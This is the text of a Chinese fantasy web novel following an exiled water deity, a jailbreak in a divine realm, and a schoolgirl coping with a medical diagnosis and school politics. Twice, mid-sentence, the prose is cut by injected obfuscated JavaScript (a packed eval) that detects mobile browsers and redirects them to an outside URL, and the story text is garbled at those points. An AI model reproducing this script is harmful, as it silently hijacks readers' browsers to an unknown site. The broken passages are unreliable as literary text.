《钱塘无潮信》 1. 踏白雪长钟请顽石 破囹圄敲雪说旭松 又一年初雪,如矾似缥,把天上的颜色都卸干净了。 雪下到向晚,人间一分两半,天青灰浑浊,地茫白干净。 天坛公园检票口,坐了一下午的老王伸个懒腰,打开保安亭的窗朝外吐痰。寒气裹着雪粒扑来,他忙缩起脖子怏怏关窗。 游客刚到五点半便走得只剩稀稀拉拉几个。老王正搓着手,倒数下班时间,一道影子掠过窗边。 老王反应迅速,开门去追,那人却已翻过闸机,快步沿着鸦青覆雪的松道向祈年殿方向走去。冷帽下,长发被风掀起如缎。 “喂!停止入园了!” 老王又叫了几声,那人却置若罔闻。 老王骂了句脏的,掏出对讲机:“操!徐头儿!丫挺的打西边儿翻进来一个!个儿高,长头发,穿一灰色羽绒服,往你那溜达过去了!我这锁门儿就差这一哆嗦,真他妈会挑时候!抄他!” 一刻钟后,景区清场结束,祈年门按时落了锁。老徐插好门闩,哼着小曲儿往出口走,大老远看到个人趴在雪地上,对讲机半截儿插在雪里。 老徐蹲下拍拍老王的脸:“呦呵,五体投地,行这么大礼?” 老王被拍得一激灵睁开了眼:“我怎么会在这儿?” 老徐捡起对讲机揣他怀里:“就你个缺心眼儿的,闲出屁来搁雪地里头烙大饼!赶紧的,起来抖落抖落——痔疮冻掉了没?” 老王骂道:“我操你大爷。” 他站起身,拍了拍衣裤上的雪。粉雪很干,一踏脚底下还是硬的,他在这地儿走路无端平地摔,居然没磕着碰着,也是一桩奇事。 老王心想,祈年殿的确是有说法的,皇帝老儿死了两三百年了还是管事儿!只是自己到底年纪大了,脑子不好,竟记不清下班后溜达过来找老徐,究竟有没有锁门。 祈年殿内,沥粉贴金彩绘抖拱梁架在暗影里,中心圈出圆型金漆彩绘浮雕龙纹藻井,正下方的龙凤呈祥大理石上站着个身形颀长的人。 人没开口,长发静垂,眼睫也一并垂落,看向脚下的石纹,像是在等着这一屋子金玉堂皇的黑暗率先对他开口。 “黑暗”果然率先对他开口了:“……又不擦鞋底,没礼貌!没素质!皇帝祈福跪我跟前都得提前沐浴焚香三天三夜!” 长钟垂眸,温柔地注视着那块黑白相间的大理石,道:“抱歉,我记性太差了。” 石头“切”了一声:“下次不记得别来了!” 长钟道:“这是最后一个雪季。我是来道别的。” 石上纹路如点墨入水,蓦地晕开:“……竟还是到了这一天么?水恒尊,你可是风露版图十二主神之首、最强的水语者,被困在芥球里语芥枯竭而死,说出去都没人相信!” “并非如此。我仍可在雪天补充魂芥,是钱塘这个中千芥球的寿数到了。” 长钟知道,这是祂生命的最后一个雪季,也是钱塘的最后一个雪季。 八百年前,水语者长钟被设计构害,不得已叛出风露版图,困于这个中千芥球——身处其中的人类称它为“人间”或者“世界”;而由于一个美丽的错误,风露版图称之为“钱塘”。 从风露版图进入芥球中,需要扶桑之路的联结和支持。这条连结在母世界与子世界之间的纽带,源源不断为进入芥球的语者输送着语芥。它就是安全绳、输氧管,护持着语者的每一次深潜。 长钟在叛出后彻底失去了扶桑之路的护持。然而,在语芥干涸的必死命途中,祂竟不知怎地找到了通过降雪补充魂芥的方法。 为了维持最低耗能的生命,以拉长余生长度,从六百年前开始,长钟只在雪天醒来。 此后,一个又一个茫白的雪季连缀成了他的生命。 两百多年前,钱塘诞生的最后一位人类语者死去时把□□赠予了长钟。那位石语者是男性,也自然而然地,长钟的躯体从不分性别的‘祂’变成了‘他’。 受困于此地的神明从那位最后的语者死亡的那一天起,就开始了这个中千芥的最后的倒计时。 “你是说……他们终于要回收这个中千芥了?” 大理石表面黑纹翻涌,溢上了岩白,这是它感到震惊与恐惧时的表现。 “这个芥球虽然混沌日增、语芥濒临干涸,但远没有到魍魉纵横的程度,语境尚且完好、语芥也还没有完全枯竭……你怎么知道风露版图要回收它了?是你的‘未来眼’看到的?”石头问。 一切有灵有生世界,都是扶桑树枝杈上孕育出的大小果实——芥球。水、火、气、石四种语芥是构成芥球的基本元素。芥球最外层由语芥构成的球状结界,叫做语境。 混沌魍魉,则是一个芥球语芥混乱程度的表征。这种混乱一旦出现,不仅会让这个芥球的语芥开始干涸、从此走向衰败,还会如果实害的虫病在芥球之间扩散,使其他芥球也出现干涸趋势、停止生长,并且加速其他芥球的语芥干涸。 因而,掌管一切芥球增殖与生灭的母世界“风露版图”,会在一枚芥球刚刚出现混沌时——也即语芥干涸的趋势出现之初,便派遣“语者”进入这个芥球,将出现混沌的芥球扼杀于摇篮中,并回收其中的语芥,以供给其他健康芥球的生长。 这个名叫“钱塘”的中千芥,是一个例外。 它从数万年前开始,便以极为缓慢的速度,在漫长的时间里一点一点干涸。 但不知出于何种原因,钱塘至今依然保持有完整的语境——就像一个内里早已干硬风化的果实依然挂在枝头,果皮还完整,从外表上看不出虫蛀,但所有人都知道它早已失去生机和养分。 更奇怪的是,风露版图一直没有回收它。 “这场新雪,是我困于此地的第八百年。没有任何语者能在失去扶桑之路支持的情况下,在一个芥球中撑过八百年。更何况此地已经将近三百年没有出现过新语者。风露版图认定我已经死了。” 长钟下意识眨动右眼,如今他的眼眶中装着一只属于已逝人类语者的眼球。旧日的神明早已没有预知世事的未来眼了。 石头愣了愣,它滞留于钱塘这个中千芥的时间远比长钟要长,对风露版图近万年内发生的事一无所知:“……所以他们一直没有回收钱塘,是忌惮你,怕你还活着?” 长钟嘴角噙着淡笑:“心中有惧,风吹草动也能成为忌惮。这世上能让他们忌惮的东西不少。万年前是珊瑚,现在也许是我,也许我的预言,也许是别的。” “预言?” “‘未来眼’曾告诉我,钱塘是个变数。” “和岚河城死而复生、又离奇从扶桑树上坠下并逃逸一样的变数?” “比岚河城大得多的变数。” 石头怔住了。 它沉默了一会儿,哼了一声:“切,在这儿语焉不详地卖关子吊胃口,可别告诉我你今日找我只是来说再见的!” 长钟道:“粉身碎骨,冒险一搏。前辈可愿意?” “你想救钱塘?”石头闻言态度大变,怒道:“想救你自己救!把我当那种任人征用的石语芥使唤呢!你叫一声看看这世上除我以外还有别的石头答应你么?你一个水语者,不过是寄居在石语者的身体里,别真把自己当石语者了!放尊重些!” 长钟歉疚道:“抱歉,我一直很尊重您。” 石头一拳打在棉花上,更气了:“我就不明白了!风露版图的扶桑树上,三千大千芥球生灭不息,钱塘到底有什么特殊的?一个普通中千芥,值得你为之生不如死苟延残喘八百年?如今它已经死定了,你还要拼上一切去救它?这个世界对你很好吗?啊?!人类把我从苍山里剖出来割成片儿镶在这儿已经大几百年了!我每天躺着阅人无数,就没见过几个好的!” 长钟哑了片刻:“……好的还是有。” 石头怒气冲天:“比如你那天下第一的好徒弟是吧!” 长钟温声纠正道:“徒女。” 石头:…… 石头:“算了,反正我已经活够了,早死晚死几年对我没区别。你想要我做什么?” “前辈,您知道,石语芥和水语芥在钱塘这个中千芥里的关系是什么吗?” “这话你应该去问人类小学叽,”石头瓮声瓮气:“哪个受过九年义务制教育的小屁孩不知道石头和水在这个星球尺度上的关系叫‘潮汐’!” 长钟柔声笑道:“前辈,您确实比我更像人类。” “屁话少说!我在这儿呆了多久?你才来了多久!跟我比?不过我警告你啊,芥球的属性是不可能改变的!凭我们俩这种半死不活的残血状态,更是纯纯痴人说梦哈!水恒尊你应该没自大到这个程度吧!” 长钟不语。 石头:? 石头:“靠北啊!!!” 长钟恭恭敬敬:“前辈,正是因为如今的你我做不到,所以才要去找能做到的人。” “可钱塘除了你我已经没有其他语者了!这个中千芥语芥枯竭至此,也不可能赶在被风露版图回收之前再孕育出新的语者!水恒尊,你比我更清楚这件事!” 长钟指尖一动,一缕飞雪自朱门缝隙中翩飞而入,在黑暗的大殿中抽出一道盈盈雪路。 雪路丝丝缕缕环住他,很快在龙凤石上方织裹出一个半茧形空间,连着大理石一同罩了进去。 “劳驾前辈,送我去钱塘城找一个人。” **** 风露版图,中央墟岛。 扶桑树通天彻地,枝杈接天,枝桠上不见茂叶,却诞育着一枚枚浑圆剔透的芥球——一个个独立的有生有灵世界。 随意细看一处枝干——三千中千芥球如同累累硕果坠在枝头,一路顺着枝条生长,如攒聚的透明小卵,而这一处的三千枚中千芥球,又被一个更大的剔透圆球结界般笼罩在外。 这更大的剔透圆球,便是大千芥球。 这样的大千芥球,扶桑树上也育有三千枚。从风露版图的边界向中央墟岛望去,浑圆芥球在枝条上大小嵌套,层层相叠,宛若蓬云,烟霞一片。 以扶桑树与大地相接处为中心,圈出一方正十二边形的石地,地面之上是十二主神议事决策的獬豸台,地面之下是囚禁罪犯的狴犴圄。 扶桑树扎根黑暗深处,根系上一个个浑圆的根瘤是这世间最牢不可破的语境,也是天然的单人牢房。 越往深处,根瘤越大,语境越厚——这代表着更不容易被破坏,也代表着囚禁的语者更加危险。 没有人知道扶桑树最深的根系究竟扎到何处,传说就连十二主神中也不曾有人走到过根系的尽头——只有风露版图的创造者父后到达过。 但狴犴圄如今关押的最危险的人物却令人瞠目。 四语芥在浑圆的球状表面流转,石动水漂、气移火替,轮转不息,宛如创世之初纯然的混沌。这个厚实的语境中,此刻关押着十二主神中最宁和不争的石和尊旭松。 令人目盲的幽深之处留下一串火语芥。 典狱长大鲵拈起一粒,碾碎了,那粒语芥立刻散如火羽、灼灼星碎。 它问站岗的两个狱卒:“火真尊方才来过了?” “是,气化尊、火真尊、石中尊三位今日已来加固过语境。” “今日负责加固的水语尊是哪位?” “是水力尊。” 大鲵皱起眉:“她还没来过么?” “没有,”两个狱卒对视一眼,隔着这么厚一层语芥,语境中的人不可能听得到他们对话内容,其中那个高一点的便小声道:“扶桑君不必担心,水力尊若是想反,她这几百年里早反了。听闻前日在獬豸台,诸神将石和尊拿下时,她竟也不为所动。哼,这八百年我看她也可算是想明白了,谁才是这风露版图真正的主人。” 典狱长大鲵是个天资平庸的气语者,并非扶枢院在编扶桑子,靠气化尊的提拔才坐上了这个位置,每听得狱卒称他一声“扶桑君”总极为受用。 大鲵皮笑肉不笑,睇着狱卒缓声道:“大胆。诸神岂是我等可以妄议的。” 气化尊与水力尊过节颇深。那狱卒见大鲵听得受用,忙道:“是,是。水力尊师门就剩她一人,如今是孤立无援,她不夹起尾巴做人还能如何?她师兄昼竹瘫了八百年,我听看过的人说,昼竹如今那副样子,还不如当年和长钟一道死了!” 另一个矮些的狱卒跟着啐了一口:“活他娘的该!生不如死才好!那竹子生前傲得孔雀似的,从来就没用正眼看过你我。它当年若不是拜进了水恒尊门下,谁还捧着它臭脚!” “可不么!不过,它早已魂芥全散,现在连自始至终护着他的石和尊也落到这般地步!诶,这石和尊平时老实巴交的,你听没听说祂这次究竟犯了什么事被下狱?” “我天天呆在这暗无天日的地头怎么会知道!不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哼,没了扶桑水路的加持,我看长钟是魂芥衰微、被那芥球中的魍魉活活啃死的也说不定!不过澹台敲雪那婆娘也是真倔!她杀回来平反是六百年的事了吧?如今还硬是将长钟的金身神像摆在主神神龛里,死活不肯换上自己的,也不知这幅姿态是做给谁看?” “行了。”大鲵听够了,冷笑一声:“再怎么,八百年之期已至,长钟绝无生还的可能。獬豸台前些日子也终于拿定主意回收钱塘了。这下可是尘埃落定。” 狱卒连声附和:“是啊,澹台敲雪再有能耐又能如何?就算长钟的尸骨还留在钱塘,回收回来的语芥也海了去了,她能耐再大,能从那一摊中千芥的废墟中挑出她师父魂芥那几粒沙子?” 大鲵皱眉:“……沙子?” 狱卒一愣,随即道:“一个中千芥球,回收的语芥足有一海沙数之多,谅祂曾是主神,也不过几粒……” 大鲵伸手示意狱卒噤声。 两个狱卒顺着大鲵的视线,低头看去,只见幽黑的虚空中,自脚下蜿蜒出一路发丝般的细沙。因大鲵视力极差,这才刚刚注意到。 “你们俩上过地面?墟海?”大鲵压低声音问道。 狱卒颤声道:“大人,大人明鉴,小的们尽忠职守,不敢擅离狴犴圄,已千年不见天光了啊!” “不好!” 大鲵失声惊叫的瞬间,感知到有风在皮肤上微微颤动。 晚了。两个狱卒倒下了。 大鲵拧身张口,语力瞬间将周围空间压出气流。然而狴犴圄干净得一粒语芥也无,大鲵语力虽强,却无气语芥可调用,慌忙之间只来得及随手抓住一粒精卫方才留下的火语芥,便眼见自己的躯体天旋地转,闭眼之前都不知掉下的是脑袋。 那四芥流转的厚重语境霎时如泡沫般破散了。石和尊旭松缓缓睁眼,温声道:“留痕了。急不得。” 澹台敲雪自怀中掏出一块其貌不扬的灰黑扁石,丢给它:“石中尊没说这东西掉渣。” 旭松盘坐未动,接住石头,沉默片刻,轻叹一声:“你可确定了?开弓没有回头箭。” 敲雪道:“演了一半,现在问,不觉得晚了?” 旭松道:“现在后悔也不晚。强行在天语石上唤出尚未诞生的新神尊号,虽能不借助扶桑之路便直接连结到新神所在的芥球,却等同于将风露版图和那芥球同时捅穿出两道口子。风露版图的须弥界一破,你我便是共犯。” 敲雪问:“怕了?” 旭松闭目笑道:“是怕了。我曾答应长钟好好照顾你。” 敲雪冷哼一声:“你看好昼竹和观音。” 旭松听到昼竹名字神色一滞:“……你师兄若是哪日回来,知我此番如何配合你破釜沉舟,用天语石连结钱塘,非打死我这老东西不可。” 敲雪淡声道:“不会。” 旭松一愣。石和尊已数百年未从水力尊口中听到如此温情的话语,却听她接着说:“昼竹已死。就算复活,它也打不死你。” 旭松被这吉利话扎得刺痛,但还是忍不住叮嘱:“你切记,找到新神便立刻带祂离开……千万不可在钱塘逗留。” 旭松虽未直说,话里却是在提醒敲雪,别白费力气去找早已经身死魂灭的长钟了。 敲雪冷声道:“少废话,开始吧。” 旭松无奈,凝神调动石语芥。一层灰色细砂自扁石表面上浮,如雾似烟,竟是石皮脱出,团凝于空,露出下方柔润的玉身。 旭松抬眼,敲雪也正望着它,二神隔着石雾,千年来第一次如此郑重地目光相接。 旭松似乎想说什么,最终还是压下,叹了口气,涩声道:“……敲雪,此行务必小心。” 钱塘等不到孕育新的语者就会被回收。他们此举用天语石冒险唤醒一个尚未降世的神明,无异于让新神早产。风露版图从没有人这么做过,也没有人知道会发生什么。 顽石表面漾起柔波似的纹路,片刻后,石头表面赫然浮出一个篆字。 从心、从力、从弋——是个“勇”字。 旭松道:“……新神有勇气,亦有勇力,是个好兆头。” 下一秒,旭松骤然僵住。只见那勇字未消,玉石竟又金光大盛,在那勇字前头,竟还有一个字要浮现出来。 “竟是二字尊号么……” 待光芒散尽、二神看清那字,俱是一怔。 2. 失潮信铭文辨翻覆 呕酸辛玉印出中肠 历史课本摊开在桌上,于子夜低着头,病历本耷在大腿上,B超单掖在书包里,只露出诊断结果的那一行。 于子夜的月经从未准时过。起初她也没在意。父母都不在身边,她犹豫了很久,才告诉大伯母,自己已几个月没有来月经。 大伯母和大伯如临大敌地带她去挂了妇科。坐在医生面前,身后是两个神色凝重的大人,于子夜觉得自己被架在刑椅上,像个被押解来等候审判的罪犯。 医生流露出一种节制而同情的眼神,像在触碰外包装贴有“小心易碎”标签的快递。于子夜心想,我是一只快递盒,医生的手和眼正在公然触碰我的内容物——我的子宫,我的卵巢,我的性激素,我的下丘脑。万幸医生也是个女人。 医生挥挥手,让大伯母和大伯出去,轻声问她:“你有男朋友吗?” 于子夜回答:“我没有过性生活。” 医生没想到一个十几岁的女孩会这样回答问题,露出讪笑,挥挥手让她出去等,然后把大伯母和大伯父叫进来。 于子夜在门口听着。医生又问了一遍:“你们能确定,她真的没有交过男朋友吗?” 大伯母说:“哎哟,那孩子平时看着挺老实的啊……” 于子夜没听完大伯父和大伯母的回答,她去厕所吐了。吐完之后,自己去楼下挂了内分泌科。 内分泌科的医生说,对于于子夜这个年纪的未成年人,临床上一般不倾向于定性确诊“多囊卵巢综合症”,但于子夜的B超结果确实现实出了多囊卵泡,LH/FSH的激素比值失常,加之月经失调,符合多囊卵巢综合症诊断的三标准。 于子夜完全听不懂医生在说什么,也不明白B超成像上那一串拥挤的、模棱的白色小气泡怎么就宣判了她卵巢的malfuction。 Malfunction。于子夜感到抱歉,关键时刻,她的脑子里跳出的又是英文单词。 她总是感到抱歉,对自己不合群的一切,也对自己菌丝般四处散逸的联想能力。她很确定高中英语课本还没有教到这个词语,因为上一次用到这个词的场景她记得很清。 十年前,妈妈刚和父亲离婚,带她在国外读小学。暑假时母女两人搬家,车子抛锚在一条人迹罕至、没有信号的公路上,妈妈下车捣鼓了一圈,最后大汗淋漓地回来,一边笑,一边流着眼泪对副驾上的她道歉:Sorry babe, it’s malfunctioning。妈妈没有说it指代的究竟是汽车还是她的生活。 现在她知道了,那和她的月经、卵巢、激素一样,是种难以言喻的混乱。 最终,妈妈的博士学业、助教工作和求职压力让她没办法兼而照顾一个读小学的孩子。被父亲接回来之后,于子夜已经快八年没有见过她了。她连妈妈的联系方式都没有。 于子夜觉得是自己对不起妈妈——如果她当时能在国外表现更好一点、英语学得更快一点、适应得更迅速一点,说不定妈妈就不会因为照顾她而徒增压力,最后不得不放弃抚养权把她送回国。又或许,如果一开始没有自己,妈妈就不用一个人在异国他乡千辛万苦地租房、换房、搬家、延毕。 负罪感像是通过脐带爬来的霉菌。起初霉点长在妈妈身上。后来距离远了,脐带断了,于子夜却在自己身体上看到了经年累月的菌斑。 她不知道罪名是什么,也不求甚解。怕那罪名像皮肤,一揭下来就会露出里面相连的骨肉。 “课代表小姐。” 历史老师突然点了她的名,于子夜抬头,祁潇骁正对她温柔地笑着,栗色长发在下午的阳光中漾出柔波:“能麻烦你告诉大家,为什么教科书插图上的‘司母戊鼎’改成‘后母戊鼎’了吗?” 于子夜把病历本塞回桌肚里,不知道刚才祁潇骁都讲了些什么,但大概率不会讲这种考试考不到的内容,应该只是想提醒自己不要走神。于是她坐着说:“因为‘司’和‘后’有训诂学上的争议。” 祁潇骁让学生们在她的历史课上不用站起来发言,这一点让于子夜感到自由和放松。祁潇骁的历史课让她可以小小地做自己,像一场精神胜利的圈地运动。 “非常好。能再给大家详细讲讲吗?”祁潇骁对她眨了眨眼睛。 于子夜知道大部分高中生不知道什么是“训诂学”,当然,她也是故意这么说的,她喜欢这种只属于她和祁老师两个人之间的对话。 “‘司’和‘后’的铭文写法一正一反,有人认为是将‘司’错写成了‘后’,有人认为本该是‘后’,也有人认为这两个字在当时可以通用。我记不太清楚了。” 妈妈是做物质文化研究的,于子夜记得她说过,学者总爱为这种几千年前的小细节吵个没完,但运气好的时候,抠出一个字眼还是能拿到不少研究经费的。 下课铃响了,祁潇骁那句“很棒”淹没在学生们一哄而散的嘈杂中,嘈杂炸开十秒,又群鸦归巢般一下收了回来。班主任曹玫踩着中跟皮鞋从前门走进来,把一叠分好的政治模拟卷耷在第一排学生们的桌上,宣布五分钟后开始传。 祁潇骁抱起电脑包和教科书,朝曹玫笑了一下,曹玫也朝她笑了一下,温枪都测不出这两个笑容之间的冷热区别。于子夜总觉得曹玫的脸涂得很白很油,像发硬的油蜡皮拉出来的,滑得连假笑也挂不住两秒。 于子夜跟到走廊上,祁潇骁果然在等她。 “没事吧?这周看你上课的时候有点心不在焉的?” 于子夜摇摇头。 祁老师笑了:“没事就好。不过,没想到你还了解训诂,其实我大学的时候也对这个很感兴趣,本科的时候还写过一篇论文讨论‘后’是不是比‘司’和‘君’更接近‘君主’的意思……”她瞥了一眼于子夜身后,压低声音道:“下午活动课我接完儿子就没事了,到时停车场老地方,来我车上聊?先回去考试,嗯?” 于子夜点点头,一转身,看到曹玫就站在班级门口盯着她看,眼神令她不寒而栗。 曹玫考试,一周一考,一考就是一个半小时,铃打到第四次,终于收卷。于子夜个子小,坐在第一排,她把后面传来的试卷整理好,放到讲台上。 曹玫沾了口水点试卷,点钞票似的,也不看她:“下午活动课的社团招新,你就去帮班长看学生会的摊位吧,她马上要省队队训了,”她浅窄的人中被艳色的口红挤得上下蠕动:“反正你也不用上竞赛课。” 于子夜自主招生进的钱塘高中教改班。数、理、化、计算机四个竞赛项目,瓜分掉了四个教改班全部的人头,于子夜是唯一的例外。 如果说母亲让她知道这世上没有无止尽的付出,那父亲就让她知道了这个世界上没有无条件的爱。 父亲的爱明码标价,写着钱和江景别墅,为了这份晃眼的爱,她需要达到父亲能接受的最低限度的优秀。 比如钱中教改,比如家门口的名校。 应付考试对于子夜来说并不难,但她不喜欢。教改班入学第一天,发了一张竞赛志愿单,要求每人选一个竞赛项目填报上去。于子夜没写名字,交了一张空白的上去,当天下午放学就被曹玫叫到了办公室。 曹玫正待发火,旁边的女老师附耳过去对她说了句什么,于子夜只听到了自己家小区的名字和父亲公司的名字。 曹玫的白蜡脸上晾出一层十分复杂的神情,半晌摆了摆手:“随你吧。” 她是政治老师,照理说不该带以理科竞赛为主的教改班,却反而在一群理科竞赛教练手中分到了四个教改班中生源最好的那个班。教改班主任,加上四十个脑子极好能在竞赛里拿奖的苗子,成了她与祁潇骁竞争高一年级组长的有力筹码。似乎少一个学生拿竞赛奖的可能,她都是吃了天大的亏。 曹玫和学校的大多数老师一样,不喜欢祁潇骁。于子夜知道,大抵不只是因为祁潇骁学历好、年轻貌美会打扮、老公有钱、儿子读国际学校,同时和她存在工作上的竞争关系。 那是对于异己物种的本能排斥。人类天性如此。 祁潇骁和钱中的其他女老师不一样,于子夜和钱中教改的其他学生不一样。单是“不一样”这一点,已足以构成她们被排斥的原因了。 竞赛班是不用上活动课的,跑完操就统一去大教室上竞赛内容。 在普通学生通宵补习困得神智恍惚的时候,这些学生用旁人追赶不及的效率、智力和成绩,轻描淡写地完成了所有校园霸凌都无法做到的,决绝而清晰的边界切割。 于子夜优秀,但不够出色,被割在了外面。 操场上人影杂沓,她坐在学生会的招新摊位后面,一手挡着太阳,一手偷偷开机,给祁潇骁发信息,为今天要帮忙看摊不能赴约道歉。 钱中这种省重点的学生要么拼竞赛,要么去国际部拼爹,实在不行再拼高校特招。剩下三种都不行的,高一上学期就会意识到自己只能拼高考了,便抓紧时间刷试卷和谈恋爱——反正都已经上了钱中,不好好学习的结局最多也就是沦落到去上家门口的985。 学生会能让高中生提前过官瘾,却对升学没帮助,自然没人来咨询。坐了一个小时,于子夜面前只有三张报名表。 她看着其他兴趣社团前面排起的长龙——模拟联合国、航模、机器人……每个都很精英很光鲜,却都跟她没什么关系。 目光扫到最角落里一个跟学生会一样冷清的社团摊位,连宣传海报和二维码都是用A4纸黑白打印贴在摊位前的。 隔着十几米,于子夜眯着眼费了半天劲才看到三个宋体字——“观潮社”。她无声地念出来,那摊位上低头写作业的人却突然抬头,和她对上了目光。 于子夜立刻收回目光,着急忙慌地从桌肚下掏出手机点开联系人,祁潇骁还没有回信息,大概是去接儿子了。她又敢紧把三张报名表颠起来理了理,余光瞥见那摊上的人又低下头写字了,松了口气。 好突兀的社团,她心想,尤其是在这么一众青春昂扬的社团中,显得像个来凑数的。 更何况,在钱塘观潮还要组社团?自己看着潮汐表找个月初月半坐车去盐官不就行了。 已经快到放学的点,上完竞赛课的学生开始从阶梯教室楼里出来,陆续往班级走了。于子夜俯身收摊,一张报名表推进视野,被清瘦白皙的手指夹着,延长了那方白。 于子夜没抬头,把那张报名表插进文件套。 那人没离开,又推来一张纸。于子夜抬头看着来人,来人也看着她,目光接触了一瞬,两人同时低头看桌上的纸。 潮汐社的宣传海报上印着简单的介绍和两个二维码,纸缘还夹了一个奇怪的大夹子。 “你好,我是‘观潮社’的社长,欢迎扫这个码进群了解,也可以加我的联系方式,我们明天下午就有这个学期的第一次活动,感兴趣的话可以参与!边上的PP夹是赠送的社团周边。”那人先开口了。 周边?现在社团招新都这么高级了?于子夜心想,还送东西,做得跟传销似的。 这个夹子比起一般的PP夹,也太大、太奇怪了——里面还有个空腔,填充了流沙油之类的液体,有彩沙模拟的海浪和一只固定在腔壁的小船。 见于子夜盯着那PP夹看,那人便伸手捏住夹子边缘,的潮汐图案慢慢从蓝色变成了白色 哦,原来是温感变色粉。 “有心了。”她说。 “不只如此哦,”那人的手指还捏着夹子边缘:“你倒数十五个数。” 于子夜没吭声。谁料他自顾自数了起来:“十五、十四……三、二、一!” “咔哒”一声轻响,那背景上的小船竟一下离开了墙壁,弹动出去,漂浮在了流沙油制成的“海面”上。 “弹簧?”于子夜忖了片刻,很快明白过来:“……也是温控的?你用的是低熔点合金?” 流沙油上漂着一滴熔化的金属,像是被废水污染的净海。如果于子夜没猜错,这是一个微型的延时结构,里面封存着一小块低熔点合金和一个微型弹簧。当体温传递过来,合金熔化,弹簧释放,就会推动塑料小船移动。 那人显然是没料到对面能直接猜出变温合金机关,愣了愣,轻笑一声:“好厉害,这就看出来了。” 于子夜心说这有什么难的。听到那人又接着说:“其实最难的还不是让它变色,是让它‘准时’变色。我试了好几种合金,才找到在体温下刚好15秒熔化的那一种。” ……刻意了啊,同学,有人问你吗? 于子夜想,做机关何必这么麻烦?非要做成温控的,无非是想在介绍的时候炫技。“爱装X”是个捕蝇罩,这个年纪的高中男生无一例外都在罩子里蒙头搓脚。 她想着囫囵对付了,正要开口谢谢我会了解的再见三件套,那人又接着补充:“额,那个,我们是今年新建立的社团,现在还没什么成员……” 那人语气中突如其来的柔糯与犹疑打动了于子夜,她有点好奇了,抬头打量来人。 男生个子不高,生了一张秀气脸蛋,细眉杏眼,睫毛很长,皮肤白得能看见太阳穴附近的血管。于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509620|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子夜意外发现他穿得很正式,校服外套里,白衬衫洗得有点发硬发黄了,领子有线头,却一丝不苟地扣到最上面一粒,还打了条大人的领带。 于子夜立刻从中辨识出一种模式。一种同为异类、却想要融入群体的熟悉感。 “我不是学生会的。” “……所以入会需要交成员费。” 两人同时开口。 于子夜愣了。 ……老天奶,竟有社团招新开口就是要钱。 谁料那男生不但不尴尬,还反应很快,微笑着说:“哦,没事没事,和是不是学生会没关系,都欢迎!如果只想参加活动的话,不加群不入会也没关系的,海报上有明天活动的时间地点,活动不会取消、风雨无阻。你想来的话,按时到那儿就行。” 好顺的口条,好快的反应,好吓人的自来熟。这人还真挺适合进学生会的。 “好,我回头看看。”于子夜背起书包,把那张海报也夹进文件夹里就朝教学楼走去。那男生还是在她斜后方不远不近地跟着。于子夜头刚回一半,男生道:“我也回教室。对了,我叫戴天航,是教改三班的。你呢?” 教改三班的?于子夜皱眉。四个教改班天天在一起听讲座搞联谊,一个学期过去,一百六十号人不说能一一叫出名字,至少也把脸认熟了。前几天开学四个班刚在一起听讲座,于子夜很确定自己没见过这张面孔。 退一万步讲,就算是她脸盲不认识,教改班也不会有人不记得她这个异类。 “我叫于子夜,教改一班的。” “哦,你不认识我很正常,我这个学期刚从毗陵转学来的,本来应该念高二下学期,因为教材不同,所以还从高一下念起。” 于子夜嚼着字:“毗陵。”父亲公司在那座城市有个分部。她不经意地问:“你怎么没去上竞赛?” “我不喜欢,就不去了啊,”男生笑了笑:“我之前在毗陵那个学校就进过省队,觉得没意思,不如花点时间做自己喜欢的事。” “挺好。”于子夜敷衍地回应。终于到了教室门口,她朝戴天航点点头:“走了。” 回到家,没开灯,屋子全暗,只有电视开着,音量很小。于子夜往里走,菜已在桌上摆好,两道冷的,一看就是中午剩的。大伯母和大伯父坐在宽大餐桌的两边,一个盯着电视,一个盯着手机,见她回来才立刻打开餐厅的顶灯。 在自己家里,她常有种寄人篱下的感觉。 不——与其说是在“自己家里”,不如说,是在“父亲的房子里”。 父亲常年在外做生意,一年也回不了两次家,就让他大哥和大嫂住进自家别墅,照顾还在上学的于子夜、打理家务。 中年失业负债、房产抵押后有屋可居,每月还能收一笔侄女的生活费,大伯也不好再向弟弟讨要薪酬,因而水电费和伙食费都成了他们两口子必须精打细算的成本。 大伯父和大伯母教会了于子夜很多“生活常识”,比如空调微波炉小太阳都是高耗电的用电器,能不开就不开。 有年冬天于子夜实在太冷,连续十几天开了中央空调,大伯母拿到当月电费单后在家里指桑骂槐闹了一晚上。于子夜给父亲打电话,父亲听完之后,颇为慷慨地告诉大伯父大伯母以后冬夏两季不用他们付水电了。 于子夜知道父亲当然不是在乎那点水电费。这位公司一把手极喜欢将那些管理学上的驭下手段带回家中,有时还传授给于子夜——用人话说,就是不想让大伯和大伯母在自己家过得太舒服、太忘形。 然而大伯和大伯母这两位全天候的电子账簿和摄像头竟不用耗费一度电,每当想到这一点,于子夜便觉得父亲十分环保。 这个社会也十分环保,被判定为没用的就会被碾碎、回收,放到有用的地方去,重新发光发热、发挥价值。 于子夜在中间的椅子上坐下,每晚的就餐节目就此开始。左耳照常是大伯就电视上的社会新闻言辞犀利高谈阔论,右耳照例是伯母就手机里的奇门遁甲直播课长吁短叹命不由己。 “娘个X的,什么叫尸检结果无外伤但不能排除他杀嫌疑?怎么办案的!我看肯定是这人之前养的那个骚女人谋财害命!!否则怎么刚好事发前这女人带着儿子跑了,害得尸体到现在才发现?你说说看,女的杀男的,这个社会要完蛋了……” 大伯一边嚼着东西,一边替一个春节假期期间暴毙家中、死因不明的男人打抱不平,筷子也愤怒地在盘子里翻来捣去。 